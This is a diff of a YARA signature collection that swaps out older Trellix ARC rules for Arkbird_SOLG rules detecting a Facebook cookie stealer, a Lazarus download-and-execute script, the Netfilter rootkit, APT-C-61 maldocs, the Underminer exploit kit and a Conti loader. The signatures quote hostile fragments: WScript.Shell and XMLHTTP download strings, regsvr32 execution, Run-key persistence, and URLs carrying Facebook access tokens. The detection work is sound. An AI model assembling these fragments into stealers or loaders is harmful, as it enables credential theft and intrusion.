-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "86dd21b8388f23371d680e2632d0855b442f0fa7e93cd009d6e762715ba2d054"
-		logic_hash = "6e1810af386f3aada4cd1d72f76d8210d201808c8fe1d21d379ff1a825d93710"
+		description = "Detect strings used by EdgeCookiesView and ChromeCookiesView in the ressources of the Cookie Stealer"
+		author = "Arkbird_SOLG"
+		id = "02a68973-73b2-572a-a358-f0edc921773a"
+		date = "2020-07-09"
+		modified = "2020-07-09"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1281154921811841026"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-09/MAL_Stealer_Cookie_July_2020_1.yar#L3-L32"
+		license_url = "N/A"
+		logic_hash = "63747567a9dd68ac0d16b67910957cb9bc28d7237f431ac0c76403ca810e1b94"
 		score = 75
-		quality = 70
-		tags = "POS, FILE"
-		rule_version = "v1"
-		malware_type = "pos"
-		malware_family = "Pos:W32/Kartoxa"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 50
+		tags = "FILE"
+		hash1 = "47b2b56c961cdc78bf06eed30737232ba99424b51648418bacacd522a12ad339"
 
 	strings:
-		$pdb = "\\vm\\devel\\dark\\mmon\\Release\\mmon.pdb"
+		$x1 = "C:\\Users\\admin1\\AppData\\Local\\Temp\\samplebin.exe" fullword wide
+		$x2 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_index=5&_reqName=adaccount&_reqSrc=AdsCMPaymentsAccount" ascii
+		$x3 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_reqName=adaccount&_reqSrc=AdsCMPaymentsAccountDataDispa" ascii
+		$x4 = "Cookie:" fullword ascii
+		$x5 = "autoLoginCookie name=" fullword ascii
+		$x6 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36" fullword wide
+		$s7 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_priority=HIGH&_reqName=adaccount&_reqSrc=AdsCMAccountSp" ascii
+		$s8 = "https://www.facebook.com/login/device-based/login/" fullword wide
+		$s9 = "api/?sid=" fullword wide
+		$s10 = "/deleteregkey" fullword ascii
+		$s11 = "Old cookies folder of Edge/IE" fullword ascii
+		$s12 = "https://graph.facebook.com/v7.0/me/adaccounts?access_token=fb_access_token&_reqName=me%2Fadaccounts&_reqSrc=AdsTypeaheadDataMana" ascii
+		$s13 = "https://graph.facebook.com/v7.0/me/adaccounts?access_token=fb_access_token&_reqName=me%2Fadaccounts&_reqSrc=AdsTypeaheadDataMana" ascii
+		$s14 = "ChromeCookiesView.exe" fullword wide
+		$s15 = "EdgeCookiesView.exe" fullword wide
+		$s16 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
+		$s17 = "login/device-based/login" fullword ascii
+		$s18 = "c_user" fullword wide
+		$s19 = "c:\\Projects\\VS2005\\EdgeCookiesView\\Release\\EdgeCookiesView.pdb" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and any of them
+		uint16(0)==0x5a4d and filesize <2600KB and (pe.imphash()=="89c8a19cc2d9172de5901988530c700d" or ((3 of ($x*)) and (8 of ($s*))))
 }
-rule TRELLIX_ARC_Vpnfilter : BACKDOOR FILE
+import "pe"
+
+rule ARKBIRD_SOLG_APT_Lazarus_EPS_July_2020_1 : FILE
 {
 	meta:
-		description = "Filter for 2nd stage malware used in VPNfilter attack"
-		author = "Christiaan Beek @ McAfee Advanced Threat Research"
-		id = "89bd7f94-d73c-5c5c-a3ec-0331f79e61fd"
-		date = "2018-05-23"
-		modified = "2020-08-14"
-		reference = "https://blog.talosintelligence.com/2018/05/VPNFilter.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_VPNfilter.yar#L1-L40"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "9eb6c779dbad1b717caa462d8e040852759436ed79cc2172692339bc62432387"
-		logic_hash = "88f08765dff632f0c08e985181309e5c3ac9cdaa51d05d8485c411fb1a183cca"
+		description = " Detected Lazarus EPS script for download and execute the payload in base 64"
+		author = "Arkbird_SOLG"
+		id = "244ef018-bc7b-5e10-bf65-b52fdb5ad403"
+		date = "2020-07-28"
+		modified = "2020-07-28"
+		reference = "https://twitter.com/spider_girl22/status/1287952503280082944"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-28/Lazarus/APT_Lazarus_EPS_July_2020_1.yar#L3-L30"
+		license_url = "N/A"
+		logic_hash = "0fbd6ac10a31cc9a571e42f8696480336cd350e56ba2ffafb386f066fd53c552"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/VPNfilter"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 45
+		tags = "FILE"
+		hash1 = "152c620980f0fc20a6eade0f5b726b98fc28392d84ce386a5fc1b0877ef446d7"
 
 	strings:
-		$s1 = "id-at-postalAddress" fullword ascii
-		$s2 = "/bin/shell" fullword ascii
-		$s3 = "/DZrtenNLQNiTrM9AM+vdqBpVoNq0qjU51Bx5rU2BXcFbXvI5MT9TNUhXwIDAQAB" fullword ascii
-		$s4 = "Usage does not match the keyUsage extension" fullword ascii
-		$s5 = "id-at-postalCode" fullword ascii
-		$s6 = "vTeY4KZMaUrveEel5tWZC94RSMKgxR6cyE1nBXyTQnDOGbfpNNgBKxyKbINWoOJU" fullword ascii
-		$s7 = "id-ce-extKeyUsage" fullword ascii
-		$s8 = "/f8wYwYDVR0jBFwwWoAUtFrkpbPe0lL2udWmlQ/rPrzH/f+hP6Q9MDsxCzAJBgNV" fullword ascii
-		$s9 = "/etc/config/hosts" fullword ascii
-		$s10 = "%s%-18s: %d bits" fullword ascii
-		$s11 = "id-ce-keyUsage" fullword ascii
-		$s12 = "Machine is not on the network" fullword ascii
-		$s13 = "No XENIX semaphores available" fullword ascii
-		$s14 = "No CSI structure available" fullword ascii
-		$s15 = "Name not unique on network" fullword ascii
+		$s1 = { 63 64 20 2F 64 20 22 25 61 70 70 64 61 74 61 25 5C 4D 69 63 72 6F 73 6F 66 74 5C 49 6E 74 65 72 6E 65 74 20 45 78 70 6C 6F 72 65 72 22 }
+		$s2 = { 46 75 6E 63 74 69 6F 6E 20 42 61 73 65 36 34 44 65 63 6F 64 65 28 42 79 56 61 6C 20 76 43 6F 64 65 29 }
+		$s3 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 4D 73 78 6D 6C 32 2E 44 4F 4D 44 6F 63 75 6D 65 6E 74 2E 33 2E 30 22 29 }
+		$s4 = { 46 75 6E 63 74 69 6F 6E 20 42 69 6E 61 72 79 54 6F 53 74 72 69 6E 67 28 42 69 6E 61 72 79 29 }
+		$s5 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 41 44 4F 44 42 2E 53 74 72 65 61 6D 22 29 }
+		$s6 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 57 53 63 72 69 70 74 2E 53 68 65 6C 6C 22 29 }
+		$s7 = { 63 72 65 61 74 65 6F 62 6A 65 63 74 28 22 4D 69 63 72 6F 73 6F 66 74 2E 58 4D 4C 48 54 54 50 22 29 }
+		$s8 = { 2E 45 6E 76 69 72 6F 6E 6D 65 6E 74 28 22 50 52 4F 43 45 53 53 22 29 28 22 50 72 6F 67 72 61 6D 57 36 34 33 32 22 29 20 3D 20 22 22 }
+		$s9 = { 3A 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 53 63 72 69 70 74 69 6E 67 2E 46 69 6C 65 53 79 73 74 65 6D 4F 62 6A 65 63 74 22 29 2E 44 65 6C 65 74 65 66 46 69 6C 65 20 57 73 63 72 69 70 74 2E 53 63 72 69 70 74 46 75 6C 6C 4E 61 6D 65 2C 20 54 72 75 65 3E 22 }
+		$s10 = { 20 65 63 68 6F 20 73 74 61 72 74 20 2F 42 20 2F 6D 69 6E 20 63 73 63 72 69 70 74 2E 65 78 65 }
+		$s11 = { 22 5E 26 64 65 6C 20 22 25 7E 66 30 22 3E }
+		$s12 = { 2E 52 75 6E 20 22 72 65 67 73 76 72 33 32 2E 65 78 65 20 2F 73 20 }
+		$s13 = { 2E 54 79 70 65 20 3D 20 31 3A 2E 4F 70 65 6E 3A 2E 57 72 69 74 65 20 42 69 6E 61 72 79 3A 2E 50 6F 73 69 74 69 6F 6E 20 3D 20 30 3A 2E 54 79 70 65 20 3D 20 32 3A 2E 43 68 61 72 53 65 74 20 3D 20 22 75 73 2D 61 73 63 69 69 22 }
+		$s14 = { 2E 4F 70 65 6E 20 22 47 45 54 22 2C 20 }
+		$s15 = { 73 74 61 72 74 20 2F 42 20 2F 6D 69 6E 20 }
+		$URL1 = { 22 68 74 74 70 3A 2F 2F 74 ?? ?? ?? }
+		$URL2 = { 22 68 74 74 70 73 3A 2F 2F 74 ?? ?? ?? }
 
 	condition:
-		( uint16(0)==0x457f and filesize <500KB and (8 of them )) or ( all of them )
+		uint16(0)==0x33c9 and filesize <3KB and (1 of ($URL*)) and (12 of ($s*))
 }
-rule TRELLIX_ARC_Kelihos_Botnet_Pdb : BOTNET FILE
+rule ARKBIRD_SOLG_MAL_Netfilter_Dropper_Jun_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Kelihos malware based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "2b6683a1-ba19-586b-8a92-89d4764efa12"
-		date = "2013-09-04"
-		modified = "2020-08-14"
-		reference = "https://www.malwaretech.com/2017/04/the-kelihos-botnet.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_kelhios_botnet_pdb.yar#L1-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "f0a6d09b5f6dbe93a4cf02e120a846073da2afb09604b7c9c12b2e162dfe7090"
-		logic_hash = "f60fb85161f86653f390b444d568da24cf07b3be99856230156741e8451e2a3f"
+		description = "Detect the dropper of Netfilter rootkit"
+		author = "Arkbird_SOLG"
+		id = "5e67c99c-6b08-5190-9c8a-55086c20923e"
+		date = "2020-06-18"
+		modified = "2021-06-18"
+		reference = "https://twitter.com/struppigel/status/1405483373280235520"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-18/Netfilter/MAL_Netfilter_Dropper_Jun_2021_1.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "66e96304e097a0f6cd99cf77b20f61b8a0bcceaf8685a336c039a80947a08f78"
 		score = 75
-		quality = 70
-		tags = "BOTNET, FILE"
-		rule_version = "v1"
-		malware_type = "botnet"
-		malware_family = "Botnet:W32/Kelihos"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "a5c873085f36f69f29bb8895eb199d42ce86b16da62c56680917149b97e6dac"
+		hash2 = "659e0d1b2405cadfa560fe648cbf6866720dd40bb6f4081d3dce2dffe20595d9"
+		hash3 = "d0a03a8905c4f695843bc4e9f2dd062b8fd7b0b00103236b5187ff3730750540"
+		tlp = "White"
+		adversary = "Chinese APT Group"
 
 	strings:
-		$pdb = "\\Only\\Must\\Not\\And.pdb"
-		$pdb1 = "\\To\\Access\\Do.pdb"
+		$seq1 = { b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fe ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 00 00 88 85 dc fd ff ff b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fd ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 50 00 50 e8 ?? 0d 00 00 83 c4 04 89 85 d8 fd ff ff 8b 85 d8 fd ff ff 89 85 d4 fd ff ff b8 00 00 50 00 50 b8 00 00 00 00 50 8b 85 d8 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c 8b 45 0c 8b 8d d8 fd ff ff 89 08 b8 3c 00 00 00 50 b8 00 00 00 00 50 8d 85 98 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c b8 3c 00 00 00 89 85 98 fd ff ff 8d 85 98 fd ff ff 83 c0 10 8d 8d dc fe ff ff 89 08 8d 85 98 fd ff ff 83 c0 14 b9 00 01 00 00 89 08 8d 85 98 fd ff ff 83 c0 2c 8d 8d dc fd ff ff 89 08 8d 85 98 fd ff ff 83 c0 30 b9 00 01 00 00 89 08 b8 0a 31 40 00 50 e8 ?? 0c 00 00 89 85 94 fd ff ff b8 16 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 fc b8 28 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 f8 b8 36 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f4 b8 47 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f0 b8 58 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 ec b8 69 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e8 b8 7a 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e4 b8 8e 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e0 8b 45 08 50 e8 ?? 0b 00 00 83 c4 04 8d 8d 98 fd ff ff 51 b9 00 00 00 00 51 50 8b 45 08 50 8b 45 fc ff d0 85 }
+		$seq2 = { b8 00 00 00 00 89 85 90 fd ff ff b8 00 00 00 00 89 85 8c fd ff ff b8 00 00 00 00 89 85 88 fd ff ff b8 00 00 00 00 89 85 84 fd ff ff b8 04 00 00 00 89 85 80 fd ff ff b8 00 00 00 00 88 85 7f f5 ff ff b8 00 08 00 00 50 b8 00 00 00 00 50 8d 85 80 f5 ff ff 50 e8 ?? 0b 00 00 83 c4 0c b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 9d 31 40 00 50 8b 45 f8 ff d0 89 85 90 fd ff ff 8b 85 }
+		$s1 = "%s\\netfilter.sys" fullword ascii
+		$s2 = "SYSTEM\\CurrentControlSet\\Services\\netfilter" fullword ascii
+		$s3 = "\\\\.\\netfilter" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1440KB and any of them
+		uint16(0)==0x5a4d and filesize >6KB and ( all of ($seq*) or 2 of ($s*))
 }
-rule TRELLIX_ARC_Jatboss : PHISHING FILE
+rule ARKBIRD_SOLG_MAL_Netfilter_May_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect PDF files from Jatboss campaign and MSG files that contained those attachents"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "009a7486-2ee8-57ef-8dfd-fcbd035b4e85"
-		date = "2019-12-04"
-		modified = "2020-08-14"
-		reference = "https://exchange.xforce.ibmcloud.com/collection/JATBOSS-Phishing-Kit-17c74b38860de5cb9fc727e6c0b6d5b5"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_jatboss.yar#L1-L36"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "b81fb37dc48812f6ad61984ecf2a8dbbfe581120257cb4becad5375a12e755bb"
-		logic_hash = "5e6e4c8f6c0896623f166a98eb83a9a4f23139306671cf2e35ba239b2dc191fc"
+		description = "Detect Netfilter rootkit"
+		author = "Arkbird_SOLG"
+		id = "da333ed8-8cd3-5ae4-bce5-a43a227fdee3"
+		date = "2021-06-18"
+		modified = "2021-06-21"
+		reference = "https://twitter.com/struppigel/status/1405483373280235520"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-18/Netfilter/MAL_Netfilter_May_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "f219981af907f74e4d95f768d99b7fd877c8bfb00587d198a4b0e2c521c744e1"
 		score = 75
-		quality = 66
-		tags = "PHISHING, FILE"
-		rule_version = "v1"
-		malware_type = "phishing"
-		malware_family = "Phishing:W32/Jatboss"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 73
+		tags = "FILE"
+		hash1 = "63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0"
+		hash2 = "8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870"
+		hash3 = "d64f906376f21677d0585e93dae8b36248f94be7091b01fd1d4381916a326afe"
+		tlp = "White"
+		adversary = "Chinese APT Group"
 
 	strings:
-		$jat = { 3C 3C 2F 41 75 74 68 6F 72 28 4A 41 54 29 20 2F 43 72 65 61 74 6F 72 28 }
-		$jatboss = { 3C 3C 2F 41 75 74 68 6F 72 28 4A 41 54 29 20 2F 43 72 65 61 74 6F 72 28 }
-		$spam = { 54 00 68 00 69 00 73 00 20 00 65 00 2D 00 6D 00 61 00 69 00 6C 00 20 00 61 00 6E 00 64 00 20 00 61 00 6E 00 79 00 20 00 61 00 74 00 74 00 61 00 63 00 68 00 6D 00 65 00 6E 00 74 00 20 00 61 00 72 00 65 00 20 00 43 00 6F 00 6E 00 66 00 69 00 64 00 65 00 6E 00 74 00 69 00 61 00 6C 00 2E 00 }
+		$seq1 = { 48 8b 05 a9 57 ff ff 45 33 c9 49 b8 32 a2 df 2d 99 2b 00 00 48 85 c0 74 05 49 3b c0 75 38 0f 31 48 c1 e2 20 48 8d 0d 85 57 ff ff 48 0b c2 48 33 c1 48 89 05 78 57 ff ff 66 44 89 0d 76 57 ff ff 48 8b 05 69 57 ff ff 48 85 c0 75 0a 49 8b c0 48 89 05 5a 57 ff ff 48 f7 d0 48 89 05 58 57 }
+		$seq2 = { 48 83 ec 38 48 83 64 24 20 00 48 8d 05 83 4c 00 00 48 8d 15 24 d1 00 00 48 89 44 24 28 48 8d 4c 24 20 e8 4d 05 00 00 85 c0 78 16 4c 8d 05 22 d1 00 00 83 ca ff 48 8d 0d 00 d1 00 00 e8 39 05 00 00 48 83 c4 }
+		$seq3 = { 45 33 c0 48 8d 4c 24 40 41 8d 50 01 ff 15 5d 62 00 00 c6 84 24 88 00 00 00 01 48 8d 84 24 88 00 00 00 48 89 46 18 48 8d 0d e2 fe ff ff 48 89 9e c0 00 00 00 48 8d 44 24 40 48 89 46 50 48 8d 44 24 30 48 89 46 48 65 48 8b 04 25 88 01 00 00 48 89 86 98 00 00 00 48 8b 86 b8 00 00 00 40 88 7e 40 c6 40 b8 06 4c 89 78 e0 48 89 58 e8 c7 40 c0 01 00 00 00 c7 40 c8 0d 00 00 00 48 89 58 d0 48 8b 86 b8 00 00 00 48 89 48 f0 48 8d 4c 24 40 48 89 48 f8 c6 40 bb e0 48 8b 43 28 48 85 c0 74 2f 48 8b 48 10 48 85 c9 74 07 48 21 78 10 4c 8b f1 48 8b 08 48 85 c9 74 06 48 21 38 48 8b e9 48 8b 48 08 48 85 c9 74 08 48 83 60 08 00 48 8b f9 48 8b d6 49 8b cf ff 15 74 61 00 00 3d 03 01 00 00 75 19 48 83 64 24 20 00 48 8d 4c 24 40 41 b1 01 45 33 c0 33 d2 ff 15 64 61 00 00 48 8b 43 28 48 85 c0 74 1a 4d }
+		$seq4 = { 8b 84 24 80 00 00 00 48 8d 54 24 38 48 8b 4c 24 30 44 8b ce 89 44 24 28 45 33 c0 48 89 7c 24 20 ff 15 66 2e 00 00 48 8b 4c 24 30 8b d8 ff 15 49 2e 00 00 48 8b 4c 24 30 ff 15 26 2d 00 00 8b }
+		$s1 = "%sc=%s" fullword ascii
+		$s2 = { 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 }
+		$s3 = "NETIO.SYS" fullword ascii
 
 	condition:
-		( uint16(0)==0x5025 and filesize <1000KB and ($jat or $jatboss)) or ( uint16(0)==0xcfd0 and $spam and any of ($jat*))
+		uint16(0)==0x5a4d and filesize >20KB and (3 of ($seq*) or 2 of ($s*))
 }
-rule TRELLIX_ARC_MALW_Cobaltrike : BACKDOOR FILE
+rule ARKBIRD_SOLG_APT_APT_C_61_Dec_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect CobaltStrike beacon"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a7dae4c7-672e-58fb-8542-90fa90d991a4"
-		date = "2020-07-19"
-		modified = "2021-08-30"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_cobaltstrike.yar#L1-L38"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "fc91d40c6544c7ab7c60b3cb8fc542bd4a6fac79dbe00cad8f612854f2a6dcd1"
+		description = "Detect similiar structures used in the APT-C-61 maldocs"
+		author = "Arkbird_SOLG"
+		id = "48054d32-6613-5a54-b19c-8e9b8f747c14"
+		date = "2021-12-13"
+		modified = "2021-12-14"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-13/APT_APT_C_61_Dec_2021_1.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "be742a0ebc53f09872d5231cf367bb1e3ae04c1a70ce94610b6597e426eeb389"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/CobaltStrike"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash1 = "f47a627880bfa4a117fec8be74ab206690e5eb0e9050331292e032cd22883f5b"
+		quality = 69
+		tags = "FILE"
+		hash1 = "2cc0f8a85df2b2b0dd4c6942125bf82e647e9ac7bb91467ac5c480cf5e1dd4ff"
+		hash2 = "193c921f7ab12c0066014ffad37a98ee57ecd5101dae2ddeb5e39200eb704431"
+		hash3 = "4ec021cc3dbb2b0de7313e41063026e3ef4777baf4dec2bdad7cd2d515bf0fe2"
+		tlp = "white"
+		adversary = "APT-C-61"
 
 	strings:
-		$pattern_0 = { e9???????? eb0a b801000000 e9???????? }
-		$pattern_1 = { 3bc7 750d ff15???????? 3d33270000 }
-		$pattern_2 = { 8bd0 e8???????? 85c0 7e0e }
-		$pattern_3 = { 50 8d8d24efffff 51 e8???????? }
-		$pattern_4 = { 03b5d4eeffff 89b5c8eeffff 3bf7 72bd 3bf7 }
-		$pattern_5 = { 8b450c 8945f4 8d45f4 50 }
-		$pattern_6 = { 33c5 8945fc 8b4508 53 56 ff750c 33db }
-		$pattern_7 = { e8???????? e9???????? 833d????????01 7505 e8???????? }
-		$pattern_8 = { 53 53 8d85f4faffff 50 }
-		$pattern_9 = { 68???????? 53 50 e8???????? 83c424 }
-		$pattern_10 = { 488b4c2420 8b0401 8b4c2408 33c8 8bc1 89442408 }
-		$pattern_11 = { 488d4d97 e8???????? 4c8d9c24d0000000 418bc7 498b5b20 498b7328 498b7b30 }
-		$pattern_12 = { bd08000000 85d2 7459 ffcf 4d85ed }
-		$pattern_13 = { 4183c9ff 33d2 ff15???????? 4c63c0 4983f8ff }
-		$pattern_14 = { 49c1e002 e8???????? 03f3 4d8d349e 3bf5 7d13 }
-		$pattern_15 = { 752c 4c8d45af 488d55af 488d4d27 }
+		$s1 = { 3e 3c 77 3a 69 6e 73 74 72 54 65 78 74 3e 53 45 54 20 [1-4] 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e }
+		$s2 = { 3c 2f 77 3a 72 3e 3c 77 3a 66 6c 64 53 69 6d 70 6c 65 20 77 3a 69 6e 73 74 72 3d 22 20 20 51 55 4f 54 45 20 20 }
+		$s3 = { 3c 77 3a 69 6e 73 74 72 54 65 78 74 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 20 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e }
+		$s4 = { 3c 77 3a 72 3e 3c 77 3a 69 6e 73 74 72 54 65 78 74 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 20 44 44 45 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e 3c 2f 77 3a 72 3e }
 
 	condition:
-		7 of them and filesize <696320
+		uint16(0)==0x4b50 and filesize >20KB and all of ($s*)
 }
-rule TRELLIX_ARC_Rovnix_Downloader : DOWNLOADER
+rule ARKBIRD_SOLG_Exp_Underminer_Apr_2021_1 : FILE
 {
 	meta:
-		description = "Rovnix downloader with sinkhole checks"
-		author = "Intel Security"
-		id = "d51f8f73-7a3a-5ccf-9122-86061b5399f1"
-		date = "2024-08-01"
-		modified = "2020-08-14"
-		reference = "https://blogs.mcafee.com/mcafee-labs/rovnix-downloader-sinkhole-time-checks/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_Rovnix.yar#L1-L38"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "52cde40c95436129b7d48b4bd5e78b66deb84fdc84a76cc9ac72f24e0777e540"
+		description = "Detect Underminer exploit kit"
+		author = "Arkbird_SOLG"
+		id = "bd2a6b30-e05a-5f90-8dc2-719c1ba48a61"
+		date = "2021-04-14"
+		modified = "2021-04-15"
+		reference = "https://twitter.com/nao_sec/status/1382358986813415427"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-14/Underminer/Exp_Underminer_Apr_2021_1.yar#L1-L20"
+		license_url = "N/A"
+		logic_hash = "46dd4d8ba58e79761056d3dd6921530520b0071090bcfc3bfaed7a6804f787b7"
 		score = 75
-		quality = 43
-		tags = "DOWNLOADER"
-		malware_type = "downloader"
-		malware_family = "Downloader:W32/Rovnix"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 63
+		tags = "FILE"
+		hash1 = "172ac73cda6260918510ad2f4481a7fcd90c5a86d47dd880c5bcb3596dd20a7d"
 
 	strings:
-		$sink1 = "control"
-		$sink2 = "sink"
-		$sink3 = "hole"
-		$sink4 = "dynadot"
-		$sink5 = "block"
-		$sink6 = "malw"
-		$sink7 = "anti"
-		$sink8 = "googl"
-		$sink9 = "hack"
-		$sink10 = "trojan"
-		$sink11 = "abuse"
-		$sink12 = "virus"
-		$sink13 = "black"
-		$sink14 = "spam"
-		$boot = "BOOTKIT_DLL.dll"
-		$mz = { 4D 5A }
+		$s1 = { 6e 65 77 20 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 2e 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 22 29 }
+		$s2 = "$version" fullword ascii
+		$s3 = { 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 26 26 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 2e 6c 65 6e 67 74 68 3e 30 }
+		$s4 = { 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 5b 22 53 68 6f 63 6b 77 61 76 65 20 46 6c 61 73 68 22 5d }
+		$s5 = { 63 6c 61 73 73 69 64 3d 27 63 6c 73 69 64 3a 44 32 37 43 44 42 36 45 2d 41 45 36 44 2d 31 31 63 66 2d 39 36 42 38 2d 34 34 34 35 35 33 35 34 30 30 30 30 27 }
+		$s6 = { 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 }
+		$s7 = { 22 64 61 74 61 22 2c 22 2f 6c 6f 67 6f 2e 73 77 66 22 }
+		$s8 = { 22 30 30 30 30 30 30 30 30 22 2b 28 [1-8] 5b 30 5d 3e 3e 3e 30 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 38 29 2b 28 22 30 30 30 30 30 30 30 30 22 2b 28 [1-8] 5b 31 5d 3e 3e 3e 30 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 38 29 }
+
+	condition:
+		filesize >5KB and 6 of ($s*)
+}
+rule ARKBIRD_SOLG_Ran_Conti_Loader_V3_Nov_2020_1 : FILE
+{
+	meta:
+		description = "Detect Conti V3 loader"
+		author = "Arkbird_SOLG"
+		id = "9541b9f8-befe-5bf4-88ee-b1cc5e92f927"
+		date = "2020-12-15"
+		modified = "2020-12-15"
+		reference = "Internal Research"
